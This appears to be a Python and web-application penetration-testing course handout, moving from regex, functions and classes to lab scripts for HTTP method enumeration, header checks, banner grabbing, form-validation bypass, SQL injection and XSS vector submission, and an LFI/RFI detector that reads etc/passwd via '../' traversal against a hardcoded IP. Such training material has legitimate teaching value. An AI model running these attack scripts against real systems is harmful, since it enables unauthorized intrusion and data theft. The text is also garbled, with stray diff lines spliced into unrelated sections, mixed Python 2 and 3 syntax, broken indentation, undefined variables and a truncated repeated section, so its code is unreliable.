 ******************************************************
 
 
 
 Solution
 ---------------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
 result= re.split(r'[;,\s]', line)
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
 
 
 
 We can also use method re.sub() to replace these multiple delimiters with one as space " ".
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 line = 'asdf fjdk;afed,fjek,asdf,foo'
 result= re.sub(r'[;,\s]',' ', line)
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 asdf fjdk afed fjek asdf foo
 
 
 
 
 **************************************************
 * Problem 8: Retrieve Information from HTML file *
 **************************************************
 
 
 
 I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
 
 
 
 Create a file (file.txt) that contains the following data:
 ---------------------------Paste This-----------------------------------
 
 <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
 <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
 <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
 <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
 <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
 <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
 <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
 ----------------------------------------------------------------------
 
 Solution:
 
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 f=open('file.txt', "r")
 import re
 str = f.read()
 result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
 
 
 
 You can read html file using library urllib (see below code).
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 from urllib.request import urlopen
 html = urlopen("http://www.google.com/")
 print(html.read())
 ----------------------------------------------------------------------
 NOTE: You can put any website URL that you want in the urllib2.urlopen('')
 
 
 
 
 
 #############
 # Functions #
 #############
 
 
 ***********************
 * What are Functions? *
 ***********************
 
 
 Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
 
 How do you write functions in Python?
 
 Python makes use of blocks.
 
 A block is a area of code of written in the format of:
 
 block_head:
 
      1st block line
 
      2nd block line
 
      ...
 
 
-python server.py
+
 
 Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
 
 def my_function():
    print("Hello From My Function!")
 
 
 Functions may also receive arguments (variables passed from the caller to the function). For example:
-python server.py
+
 def my_function_with_args(username, greeting):
    print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
 
 
 Functions may return a value to the caller, using the keyword- 'return' . For example:
 
 def sum_two_numbers(a, b):
    return a + b
 
 
 ****************************************
 * How do you call functions in Python? *
 ****************************************
 
 Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
 
 # Define our 3 functions
 ---------------------------Paste This-----------------------------------
 def my_function():
    print("Hello From My Function!")
 ----------------------------------------------------------------------
 
 
 ---------------------------Paste This-----------------------------------
 def my_function_with_args(username, greeting):
    print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
 ----------------------------------------------------------------------
 
 
 ---------------------------Paste This-----------------------------------
 def sum_two_numbers(a, b):
    return a + b
 ----------------------------------------------------------------------
 
 
 Let's print(a simple greeting)
 
 ---------------------------Paste This-----------------------------------
 my_function()
 -----------------------------------------------------------------------
 
 
 Prints - "Hello, Joe, From My Function!, I wish you a great year!"
 ---------------------------Paste This-----------------------------------
 my_function_with_args("Joe", "a great year!")
-     python -m pip install requests
+
 
 
 After this line x will hold the value 3!
 ---------------------------Paste This-----------------------------------
 x = sum_two_numbers(1,2)
 x
 -----------------------------------------------------------------------
 
 
 
 
 ##########################
 # Python Lambda Function #
 ##########################
 
 
 Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
 
 lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
 
 Let’s take an example:
 
 Consider a function multiply()
 
 def multiply(x, y):
    return x * y
 
 
 This function is too small, so let’s convert it into a lambda function.
 
 To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
 
 ---------------------------Type This-----------------------------------
 
 >>> r = lambda x, y: x * y
 >>> r(12,3)
 36
 -----------------------------------------------------------------------
 
 Here we are using two arguments x  and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
 
 You don’t need to assign lambda function to a variable.
 
 ---------------------------Type This-----------------------------------
 
 >>> (lambda x, y: x * y)(3,4)
 12
 -----------------------------------------------------------------------
 
 Note that lambda function can’t contain more than one expression.
 
 
 
 ##################
 # Python Classes #
 ##################
 
 
 ****************
 * Introduction *
 ****************
 
 Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs.
 
 You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
 
 
 ***********************
 * Real World Examples *
 ***********************
 
 
 This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do.
 
 Start off by thinking about a web vuln scanner.
 
 What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods.
 
 So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
 
 
 ******************
 * A Python Class *
 ******************
 
 
 Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
 
 ---------------------------Paste This-----------------------------------
 
 class WebVulnScanner(object):
    make = 'Acunetix'
    model = '10.5'
    year = '2014'
    version ='Consultant Edition'
 
    profile = 'High Risk'
 
 
    def crawling(self, speed):
        print("Crawling at %s" % speed)
 
 
    def scanning(self, speed):
        print("Scanning at %s" % speed)
 -----------------------------------------------------------------------
 
 
 Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes.
 
 From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
 
 
 *****************
 * What is Self? *
 *****************
 
 Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
 ################# Do not do this lab #################
 ---------------------------Type This-----------------------------------
 
 print("Your %s is crawling at %s" % (self.model, speed))
 -----------------------------------------------------------------------
 ################# end of lab that doesn't work #################
 
 It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
 
 
 *****************
 * Using A Class *
 *****************
 
 
 You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
 ---------------------------Type This-----------------------------------
 
 myscanner = WebVulnScanner()
 -----------------------------------------------------------------------
 
 
 That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on.
 
 Get your scanner object to print out its make and model.
 ---------------------------Type This-----------------------------------
 
 print("%s %s" % (myscanner.make, myscanner.model))
 -----------------------------------------------------------------------
 
 The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables.
 ---------------------------Type This-----------------------------------
 
 myscanner.scanning('10req/sec')
 -----------------------------------------------------------------------
 
 What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
 ---------------------------Type This-----------------------------------
 
 print("The profile of my scanner settings is %s" % myscanner.profile)
 myscanner.profile = "default"
 print("The profile of my scanner settings is %s" % myscanner.profile)
 -----------------------------------------------------------------------
 
 Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
 ---------------------------Type This-----------------------------------
 
 mynewscanner = WebVulnScanner()
 print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
 -----------------------------------------------------------------------
 
 That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
 
 
 #########################################
 # The self variable in python explained #
 #########################################
 
 So lets start by making a class involving the self variable.
 
 A simple class :
 
 So here is our class:
 ---------------------------Paste This-----------------------------------
 
 class port(object):
    open = False
    def open_port(self):
        if not self.open:
            print("port open")
 
 -----------------------------------------------------------------------
 
 First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
 
 Making a Port:
 
 Now that we have made a class for a Port, lets actually make a port:
 ---------------------------Type This-----------------------------------
 
 x = port()
 -----------------------------------------------------------------------
 
 Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
 ---------------------------Type This-----------------------------------
 
 x.open
 -----------------------------------------------------------------------
 
 The above command is same as:
 ---------------------------Type This-----------------------------------
 
 port().open
 -----------------------------------------------------------------------
 
 Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
 ---------------------------Type This-----------------------------------
 
 >>> x = port()
-python client.py
+
 False
 >>> y = port()
 >>> y.open = True
 >>> y.open
 True
 >>> x.open
 False
 
 -----------------------------------------------------------------------
 The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
 
 ---------------------------Paste This-----------------------------------
 
 class port(object):
    open = False
    def open_port(this):
        if not this.open:
            print("port open")
 
 -----------------------------------------------------------------------
 
 
 
 
 
 
                             ###############################################################
 ----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
                             ###############################################################
 
 
 
 ################################
 # Web App Testing with Python3 #
 ################################
 
 ################################################
 # Python Penetration Testing—Application Layer #
 ################################################
 
 ########################################
 # Testing availability of HTTP methods #
 ########################################
 
 A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
 Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
 
 To begin with, we need to import the requests library:
 
 ---------------------------
 import requests
 ---------------------------
 
 After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
 
 ----------------------------------------------------------------------------
 method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
 ----------------------------------------------------------------------------
 
 The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
 
 ------------------------------------------------------
 for method in method_list:
    req = requests.request(method, 'Enter the URL’)
    print (method, req.status_code, req.reason)
 ------------------------------------------------------
 
 The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
 
 -------------------------------------------------------------
 if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
    print ('Cross Site Tracing(XST) is possible')
 -------------------------------------------------------------
 
 
 *** Full code with example url: ***
 
 ---------------------------Type This-----------------------------------
 nano xst.py
 
 
 ---------------------------Paste This----------------------------------
 import requests
 method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
 for method in method_list:
    req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php')
    print (method, req.status_code, req.reason)
 if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
    print ('Cross Site Tracing(XST) is possible')
 
 -------------------------------------------------------------------------
 
 
 After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross  site  tracing  (XST), we  will  get 405  Not  Allowed responses  from  the  web  server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’.
 
 
 ---------------------------Type This-----------------------------------
 python3 xst.py
 -----------------------------------------------------------------------
 
 ##########################################
 # Foot printing by checking HTTP headers #
 ##########################################
 
 
 HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server:
 
 To begin with, let us import the requests library:
 
 ------------------------
 import requests
 ------------------------
 
 We need to send a  GET request to the web  server. The following line  of code makes a simple GET request through the requests library.
 
 ---------------------------------------------
 request = requests.get('enter the URL')
 ---------------------------------------------
 
 Next, we will generate a list of headers about which you need the information.
 
 ---------------------------------------------------------------------------------------------------------------
 header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
 ---------------------------------------------------------------------------------------------------------------
 
 Next is a try and except block.
 
 ---------------------------------------------------
 for header in header_list:
 
    try:
       result = request.headers[header]
       print ('%s: %s' % (header, result))
    except Exception as err:
          print ('%s: No Details Found' % header)
 
 ---------------------------------------------------
 
 
 
 
 *** Example Full Code: ***
 
 ---------------------------Type This-----------------------------------
 nano headercheck.py
 
 
 ---------------------------Paste This----------------------------------
 #!/usr/bin/env python3
 import requests
 request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php')
 header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length']
 for header in header_list:
       try:
          result = request.headers[header]
          print ('%s: %s' % (header, result))
       except Exception as err:
                print ('%s: No Details Found' % header)
 ----------------------------------------------------------------------------------------------------------------
 
 
 After running the above script for a particular web server, we will get the information about the  headers  provided  in  the  header  list.  If  there  will  be  no  information  for  a  particular header then it will give the message ‘No Details Found’.
 
 
 ---------------------------Type This-----------------------------------
 python3 headercheck.py
 -----------------------------------------------------------------------
 
 
 ##############################################
 # Testing insecure web server configurations #
 ##############################################
 
 We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt.
 ---------------------------Type This-----------------------------------
 nano websites.txt
 
 ---------------------------Paste This----------------------------------
 https://www.google.com
 https://www.cnn.com
 https://foxnews.com
 -----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 nano insecure_config_check.py
 
 
 ---------------------------Paste This----------------------------------
 #!/usr/bin/eve python3
 import requests
 urls = open("websites.txt", "r")
 for url in urls:
    url = url.strip()
    req = requests.get(url)
    print (url, 'report:')
    try:
       protection_xss = req.headers['X-XSS-Protection']
       if protection_xss != '1; mode=block':
          print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
    except:
       print ('X-XSS-Protection not set, it may be possible')
    try:
       options_content_type = req.headers['X-Content-Type-Options']
       if options_content_type != 'nosniff':
          print ('X-Content-Type-Options not set properly:', options_content_type)
    except:
       print ('X-Content-Type-Options not set')
    try:
       transport_security = req.headers['Strict-Transport-Security']
    except:
       print ('HSTS header not set properly, Man in the middle attacks is possible')
    try:
       content_security = req.headers['Content-Security-Policy']
       print ('Content-Security-Policy set:', content_security)
    except:
       print ('Content-Security-Policy missing')
 
 -----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 python3 insecure_config_check.py
 -----------------------------------------------------------------------
 
 
 #####################################
 # Footprinting of a Web Application #
 #####################################
 
 Methods for Footprinting of a Web Application
 
 
 Gathering information using parser BeautifulSoup
 
 
 Suppose we want to collect all the hyperlinks from  a  web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself.
 
 To  begin  with,  let  us import  the  necessary  packages. We  will  import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it.
 
 --------------------------------------
 apt-get install python3-bs4             <-- This is already installed. You don't have to do this step
 --------------------------------------
 
 ---------------------------Type This-----------------------------------
 $ python3
 import urllib
 from bs4 import BeautifulSoup
 -----------------------------------------------------------------------
 
 The Python script given below will gather the title of web page andhyperlinks:
 
 Now,  we  need  a variable,  which can  store  the  URL  of  the  website.  Here, we  will  use  avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page.
 
 
 ---------------------------Type This-----------------------------------
 from urllib.request import urlopen
 
 url = 'http://www.python.org'
 file = urlopen(url)
 html_page = file.read()
 -----------------------------------------------------------------------
 
 The html_page will be assigned as an input to create soup object.
 
 ---------------------------Type This-----------------------------------
 soup_object = BeautifulSoup(html_page)
 -----------------------------------------------------------------------
 
 Following two lines will print the title name with tags and without tags respectively.
 
 ---------------------------Type This-----------------------------------
 print(soup_object.title)
 print(soup_object.title.text)
 -----------------------------------------------------------------------
 
 The line of code shown below will save all the hyperlinks.
 
 ---------------------------Type This-----------------------------------
 for link in soup_object.find_all('a'):
    print(link.get('href'))
 -----------------------------------------------------------------------
 
 
 
 
 *** Full example code: ***
 
 ---------------------------Type This-----------------------------------
 
 import urllib
 
 from bs4 import BeautifulSoup
 
 from urllib.request import urlopen
 
 url = 'http://www.python.org'
 file = urlopen(url)
 html_page = file.read()
 print(html_page)
 
 soup_object= BeautifulSoup(html_page)
 
 
 print(soup_object.title)
 print(soup_object.title.text)
 
 
 for link in soup_object.find_all('a'):
    print(link.get('href'))
 
 -----------------------------------------------------------------------
 
 
 ###################
 # Banner grabbing #
 ###################
 
 
 The following Python script helps grab the banner using socket programming:
 
 ------------------------------------------------------------------------------
 import socket
 
 s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800))
 
 host = input("Enter the host name: ")
 port = int(input("Enter Port: "))
 
 
 # host = '192.168.1.54'
 # port = 22
 
 s.connect((host, port))
 
 try:
     s.send(b'GET HTTP/1.1 \r\n')
     ret = s.recv(1024)
     print('[+]{}'.format(ret))
 except Exception as e:
     print('[-] Not information grabbed: {}'.format(e))
 -------------------------------------------------------------------------------
 
 After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section.
 
 
 ###################################################
 # Server-side Validation & Client-side Validation #
 ###################################################
 
 
 #######################################
 # Python Module for Validation Bypass #
 #######################################
 
 
 The Python module that we are going to useis mechanize. Itis a Python web browser, whichis  providing  the  facility  of  obtaining  web  forms  in  a  web  page  and  facilitates  the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command:
 
 ---------------------------------
 pip3 install mechanize              <-- This is already installed. You don't have to do this step
 ---------------------------------
 
 
 
 Following is a Python script, which uses mechanize to bypass the validation of a web form using  POST  method  to  pass  the  parameter.  The  web  form  can  be  taken  from  the  link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice.
 
 To begin with, let us import the mechanize browser:
 
 
 ----------------------
 import mechanize
 ----------------------
 
 Now, we will create an object named brwsr of the mechanize browser:
 
 -----------------------------
 brwsr = mechanize.Browser()
 -----------------------------
 
 The next line of code shows that the user agent is not a robot
 
 --------------------------------
 brwsr.set_handle_robots( False )
 --------------------------------
 
 Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation.
 
 -----------------------------
 url = input("Enter URL ")
 -----------------------------
 
 Now, following lines will set some parenters to true.
 
 -----------------------------------
 brwsr.set_handle_equiv(True)
 brwsr.set_handle_gzip(True)
 brwsr.set_handle_redirect(True)
 brwsr.set_handle_referer(True)
 ----------------------------------
 
 
 Next it will open the web page and print the web form on that page.
 
 -----------------------------
 brwsr.open(url)
 for form in brwsr.forms():
    print(form)
 -----------------------------
 
 Next line of codes will bypass the validations on the given fields.
 
 ------------------------------------
 brwsr.select_form(nr=0)
 brwsr.form['name'] = ''
 brwsr.form['gender'] = ''
 brwsr.submit()
 ------------------------------------
 
 The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation.
 
 
 ################################################
 # Python Penetration Testing — SQLi Web Attack #
 ################################################
 
 
 
 The attack can be categorize into the following two types:
 
 - In-band SQL injection (Simple SQLi)
 - Inferential SQL injection (Blind SQLi)
 
 
 All types of SQLi can be implemented by manipulating input data to the application. In the following  examples,  we  are  writing  a  Python  script  to  inject  attack  vectors  to  the application  and  analyze  the  output  to  verify  the  possibility  of  the  attack.  Here,  we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation.
 
 
 The  following Python  script helps submit  forms  and analyze the  response  using mechanize:
 
 
 First of all we need to import the mechanize module.
 
 -----------------------
 import mechanize
 -----------------------
 
 Now, provide the name of the URL for obtaining the response after submitting the form.
 
 -------------------------------------
 url = input("Enter the full url")
 -------------------------------------
 
 The following line of codes will open the url.
 
 -----------------------------------
 request = mechanize.Browser()
 request.open(url)
 -----------------------------------
 
 Now, we need to select the form.
 
 ---------------------------------
 request.select_form(nr=0)
 ---------------------------------
 
 Here,we will setthe column name ‘id’.
 
 ---------------------------------
 request["id"] = "1 OR 1=1"
 ---------------------------------
 
 Now, we need to submit the form
 
 ---------------------------------
 response = request.submit()
 content = response.read()
 print(content)
 --------------------------------
 
 The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file.
 
 To begin with, let us import the mechanize module.
 
 ---------------------------
 import mechanize
 ---------------------------
 
 Now, provide the name of the URL for obtaining the response after submitting the form.
 
 ---------------------------------
 url = input("Enter the full url")
    attack_no = 1
 ---------------------------------
 
 
 We need to read the attack vectors from the file
 
 -------------------------------------
 with open ('vectors.txt') as v:
 -------------------------------------
 
 Now we will send request with each arrack vector
 
 -------------------------------
 for line in v:
    browser.open(url)
 browser.select_form(nr=0)
    browser["id"] = line
    res = browser.submit()
 content = res.read()
 ------------------------------
 
 
 Now, the following line of code will write the response to the output file.
 
 -----------------------------------------------------
 output = open('response/'+str(attack_no)+'.txt','w')
 output.write(content)
 output.close()
 print attack_no
 attack_no += 1
 -----------------------------------------------------
 
 
 By  checking  and  analyzing  the  responses, we  can  identify  the  possible  attacks. For example,if it provides the response that include the sentence You have an error in your SQL syntax then it means the form may be affected by SQL injection.
 
 
 ###############################################
 # Python Penetration Testing — XSS Web Attack #
 ###############################################
 
 
 Types of XSS Attack
 
 
 The  attack can  be classified into the following major categories:
 
 -Persistent or stored XSS
 -Non-persistent or reflected XSS
 
 
 
 Same as SQLi, XSS web attacks can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize:
 
 To begin with, let us import the mechanize module.
 
 ------------------------
 import mechanize
 -----------------------
 
 
 Now, provide the name of the URL for obtaining the response after submitting the form.
 
 ----------------------------------
 url = input("Enter the full url")
    attack_no = 1
 ----------------------------------
 
 We need to read the attack vectors from the file.
 
 ---------------------------------------
 with open ('vectors_XSS.txt') as x:
 --------------------------------------
 
 Now we will send request with each arrack vector
 
 -------------------------
 for line in x:
    browser.open(url)
 browser.select_form(nr=0)
    browser["id"] = line
    res = browser.submit()
 content = res.read()
 
 ------------------------
 
 The following line of code will check the printed attack vector.
 
 -----------------------------
 if content.find(line) > 0:
    print("Possible XSS")
 
 -----------------------------
 
 The following line of code will write the response to output file.
 
 
 -----------------------------------------------------------
 output = open('response/'+str(attack_no)+'.txt','w')
 output.write(content)
 output.close()
 print attack_no
 attack_no += 1
 ----------------------------------------------------------
 
 
 *** Full example code: ***
 
 ------------------------------------------------------------------
 import mechanize
 
 url = input("Enter the full url")
 attack_no = 1
 
 with open ('vectors_XSS.txt') as x:
    for line in x:
       browser.open(url)
    browser.select_form(nr=0)
       browser["id"] = line
       res = browser.submit()
    content = res.read()
 
    if content.find(line) > 0:
       print("Possible XSS")
 
    output = open('response/'+str(attack_no)+'.txt','w')
    output.write(content)
    output.close()
    print attack_no
    attack_no += 1
 -----------------------------------------------------------------
 
 XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we  provided.  If  the  attack  vector  is  present  in  the  response  without  any escape or validation,there is a high possibility of XSS attack.
 
 
 ---------------------------Type This-----------------------------------
 nano bannergrab.py
 
 
 ---------------------------Paste This----------------------------------
 
 #!/usr/bin/env python3
 import sys
 import socket
 
 # Great reference: https://www.mkyong.com/python/python-3-typeerror-cant-convert-bytes-object-to-str-implicitly/
 
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(("45.63.104.73", 80))
 s.send(("GET / HTTP/1.1\r\n\r\n").encode())
 
 #Convert response to bytes
 response = b""
 # or use encode()
 #response = "".encode()
 
 while True:
     data = s.recv(4096)
     response += data
     if not data:
         break
 s.close()
 print(response.decode())
 ----------------------------------------------------------------------
 
 
 ---------------------------Type This-----------------------------------
 python3 bannergrab.py
 -----------------------------------------------------------------------
 
 
 
 
 
 ################# Do not do this lab #################
 ---------------------------Type This-----------------------------------
 nano titlegrab.py
 
 
 ---------------------------Paste This----------------------------------
 #!/usr/bin/env python3
 import requests
 from bs4 import BeautifulSoup
 
 def main():
     print("\nPage URL and Title")
     print("-----------------------------------------------------------------")
 
     urls = ['http://www.google.com', 'http://www.cnn.com', 'http://www.foxnes.com']
 
     for url in urls:
         r = requests.get(url)
         soup = BeautifulSoup(r.text, 'html.parser')
 
         print(url + " = " + soup.title.string)
 
 if __name__ == "__main__":
     main()
 ----------------------------------------------------------------------
 ################# end of lab that doesn't work #################
 
 
 ---------------------------Type This-----------------------------------
 nano LFI-RFI.py
 
 
 ---------------------------Paste This----------------------------------
 
 #!/usr/bin/env python3
 print("\n### PHP LFI/RFI Detector ###")
 
 import urllib.request, urllib.error, urllib.parse,re,sys
 
 TARGET = "http://45.63.104.73/showfile.php?filename=about.txt"
 RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
 TravLimit = 12
 
 print("==> Testing for LFI vulns..")
 TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
 for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP
    TARGET += "../"
    try:
        source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST
    except urllib.error.URLError as e:
        print("$$$ We had an Error:",e)
        sys.exit(0)
    if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
        print("!! ==> LFI Found:",TARGET+"etc/passwd")
        break ## BREAK LOOP WHEN VULN FOUND
 
 print("\n==> Testing for RFI vulns..")
 TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
 try:
    source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST
 except urllib.error.URLError as e:
    print("$$$ We had an Error:",e)
    sys.exit(0)
 if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
    print("!! => RFI Found:",TARGET)
 
 print("\nScan Complete\n") ## DONE
 ----------------------------------------------------------------------
 
 
 
 
 ---------------------------Type This-----------------------------------
 python3 LFI-RFI.py
 -----------------------------------------------------------------------
 
 
 
 
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 ################################################
 # Python Penetration Testing—Application Layer #
 ################################################
 
 ########################################
 # Testing availability of HTTP methods #
 ########################################
 
 A  very  good  practice  for  a  penetration  tester  is  to  start  by  listing  the  various  available HTTP methods.
 Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods:
 
 To begin with, we need to import the requests library:
 
 ---------------------------
 import requests
 ---------------------------
 
 After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input.
 
 ----------------------------------------------------------------------------
 method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']
 ----------------------------------------------------------------------------
 
 The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code.
 
 ------------------------------------------------------
 for method in method_list:
    req = requests.request(method, 'Enter the URL’)
    print (method, req.status_code, req.reason)
 ------------------------------------------------------
 
 The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method.
 
 -------------------------------------------------------------
 if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
    print ('Cross Site Tracing(XST) is possible')
 -------------------------------------------------------------
 
 
 *** Full code with example url: ***
 
 ---------------------------Type This-----------------------------------
 nano xst.py
 
 
 ---------------------------Paste This----------------------------------
 import requests
